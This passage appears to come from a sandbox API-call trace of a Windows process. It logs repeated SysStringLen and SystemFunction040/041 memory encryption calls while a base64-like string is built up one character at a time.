MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.670] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0242.671] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.671] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.671] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.672] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.672] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.672] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.672] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.672] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.672] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.672] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0242.672] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.672] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.672] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.672] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.673] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0242.673] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.673] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.673] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.673] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.673] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0242.673] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.673] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.673] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.673] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.673] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0242.673] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.673] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.674] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.674] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.674] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0242.674] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.674] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.674] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.674] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.674] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0242.674] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.674] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.674] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.675] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.675] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0242.675] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.675] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0242.675] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.675] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.675] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.675] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.675] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0242.675] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.676] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.676] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.676] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.676] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0242.676] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.676] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.676] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.676] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.676] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0242.676] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.676] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.676] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.676] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.677] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0242.677] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.677] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.677] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.677] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.677] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0242.677] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.677] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.677] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.677] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.677] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0242.678] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.678] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.678] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.678] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.678] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0242.678] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.678] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.678] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.678] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.679] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0242.679] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.679] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0242.679] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.679] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.679] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.679] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.679] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0242.679] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.680] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.680] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.680] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.680] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0242.680] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.680] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.680] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.680] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.680] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0242.680] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.681] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.681] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.681] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.681] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0242.681] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.681] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.681] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.681] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.681] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0242.681] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.682] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.682] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0242.682] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.682] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.682] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0242.682] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0242.683] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.683] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0242.683] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.683] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.684] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0242.684] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.684] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.684] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0242.684] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.684] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.684] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0242.684] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.685] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.685] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0242.685] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.685] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.685] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0242.685] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.685] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.686] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0242.686] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.686] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.686] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0242.686] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0242.687] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.687] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0242.687] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.687] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.688] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0242.688] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.688] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.688] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0242.688] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.688] SysStringLen 